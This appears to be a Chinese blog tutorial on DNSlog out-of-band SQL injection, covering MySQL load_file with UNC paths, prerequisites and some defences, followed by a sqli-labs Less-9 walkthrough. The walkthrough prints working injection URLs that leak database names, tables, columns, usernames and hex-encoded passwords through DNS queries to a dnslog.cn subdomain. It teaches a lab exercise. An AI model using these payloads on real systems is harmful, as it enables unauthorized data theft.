当前位置: 首页 > news >正文

DNSlog注入(利用DNSlog平台将SQL盲注变成回显注入)

    • 前言
      • 什么是UNC
      • 什么是DNSlog注入
      • DNSlog注入的条件
      • 防止DNSlog注入的几个措施
    • sqli-labs试验

前言

前几天面试的时候,面试官问我知不知道OOB(带外数据)。

当时我蒙了,确实没听说过这个东西,然后面试官告诉我原来dnslog注入就是带外通信的一种。

什么是UNC

UNC(Universal Naming Convention)路径是用于在计算机网络中标识资源位置的标准格式。
它通常用于访问共享文件夹或打印机等网络资源。UNC路径格式的一般结构如下:
\\server\share\path\filename

\\: 表示UNC路径的开头,两个反斜杠用来指示这是一个网络路径。

什么是DNSlog注入

DNSlog注入是一种利用DNS服务器记录域名解析请求的特性,来获取SQL注入结果的技术。它的原理是通过构造一个包含数据库信息的子域名,然后使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求,从而在DNS服务器上留下注入结果的痕迹。

DNSlog注入的应用场景是当网站对于SQL注入的攻击没有回显或者过滤了敏感的回显内容时,可以使用DNSlog注入来绕过这些限制,获取数据库的信息。

DNSlog注入的步骤如下:

  • 首先,需要一个可以记录DNS请求的平台,例如dnslog.cn和ceye.io。在这个平台上,可以获取一个专属的子域名,例如xxx.dnslog.cn,并且可以查看该子域名下所有的DNS请求记录。
  • 然后,需要构造一个包含数据库信息的子域名,例如(select database()).xxx.dnslog.cn。这个子域名可以使用MySQL的函数或者操作符来拼接,例如concat、replace、substr等。
  • 接着,需要使用MySQL的load_file函数或其他方法,让目标服务器向DNS服务器发起解析请求。例如,使用以下语句:
    • select load_file(concat(‘\\\\’,(select database()),‘.xxx.dnslog.cn/abc’));
    • 这个语句会让目标服务器尝试从(select database()).xxx.dnslog.cn/abc这个地址加载文件,从而触发DNS解析请求。
  • 最后,需要在DNSlog平台上查看DNS请求记录,就可以获取数据库信息了。例如,在上面的例子中,如果数据库名为security,那么就会看到security.xxx.dnslog.cn这样的记录。

DNSlog注入需要注意的点:

  • 由于每一级域名的长度只能为63个字符,所以在MySQL中获取到超过63个字节的字符时,会被当作一个错误的域名,不会产生去解析的动作。所以需要控制查询结果的字符长度在63个以内。

  • 由于URL中传递的字符非常有限,很多特殊字符如{,},!,等是无法传递的。这就会导致load_file函数失效。所以需要对查询结果进行hex编码,然后再使用16进制解码网站来还原结果。

DNSlog注入的条件

  1. 目标服务器可以发起DNS请求,即可以访问外部网络。

  2. 目标服务器可以执行一些函数或命令,如load_file、exec、curl等,用于向DNS服务器发送域名查询。

  3. 攻击者拥有一个自己的域名,并能够配置NS记录和获取DNS日志,用于接收目标服务器发送的域名查询信息。

  4. 目标服务器返回的数据不超过域名长度限制(63个字符),并且不包含特殊符号,否则会导致DNS查询失败。

防止DNSlog注入的几个措施

  • 限制目标服务器对外部网络的访问权限,禁止或过滤掉不必要的DNS请求。
  • 对目标服务器执行的函数或命令进行严格的输入验证和过滤,防止攻击者注入恶意的域名或URL。
  • my.ini中secure_file_priv值设置为null

sqli-labs试验

试验环境为sqli-labs 第九关

这里发现无回显,输入sleep函数后成功sleep了五秒

在这里插入图片描述

由于没有回显数据,所以直接上dnslog,查一下库名试一下:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select database()),'.20vice.dnslog.cn/test')))--+

成功回显了数据:

在这里插入图片描述

接下来查一下库里的表名,这里用limit限制只回显一个数据,多次查询:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select TABLE_NAME  from information_schema.tables where table_schema='security' LIMIT 3,1),'.20vice.dnslog.cn/test')))--+

看到了四个表

emailsreferersuagentsusers

在这里插入图片描述

用同样的方法查询字段名:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select column_name  from information_schema.columns where table_name='users' limit 0,1),'.20vice.dnslog.cn/test')))--+

在这里插入图片描述

尝试读取一下用户名数据:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select username from security.users limit 2,1),'.nwpxcq.dnslog.cn/test')))--+

再读取一下密码,由于密码里可能有特殊字符,这里进行十六进制编码了:

http://192.168.171.30/sqli/Less-9/?id=-1' and (select load_file(concat('\\\\',(select hex(password) from security.users where username='Dummy'),'.nwpxcq.dnslog.cn/test')))--+

在这里插入图片描述

十六进制解码,成功获取数据:

在这里插入图片描述

http://www.lryc.cn/news/112221.html

相关文章:

  • vim学习笔记(致敬vim作者)
  • 力扣 -- 139. 单词拆分
  • 百度秋招攻略,百度网申笔试面试详解
  • nohup Java -jar 生成的nohup.out 文件一直增加,如何处理
  • 静态页面与动态页面的区别及部署jpress应用
  • 华为数通HCIA-华为VRP系统基础
  • 基于Azure OpenAI Service 的知识库搭建实验⼿册
  • 第七节--结构体
  • Docker学习(二十四)报错速查手册
  • 一种SpringBoot下Scheduler定时任务优雅退出方案
  • DNS部署与安全详解(上)
  • 【51单片机】晨启科技,酷黑版,音乐播放器
  • 基于SPSSPRO实现层次分析法(AHP)
  • Spring Test中使用MockMvc进行上传文件单元测试时,报NullPointerException
  • HTTP常用状态码及其含义
  • FFmpeg中AVIOContext的使用
  • 【react】react中BrowserRouter和HashRouter的区别:
  • 机器学习常用Python库安装
  • HTTP 劫持、DNS 劫持与 XSS
  • bash引用-Quoting详细介绍
  • powershell几句话设置环境变量
  • Javascript 数据结构[入门]
  • IO(JavaEE初阶系列8)
  • React Native 样式表的基础知识
  • 【JS 解构赋值】
  • Vue3状态管理库Pinia——自定义持久化插件
  • il汇编整数相加
  • RabbitMQ 事务
  • vue前端 让年月日 加上23:59:59
  • 【雕爷学编程】Arduino动手做(186)---WeMos ESP32开发板8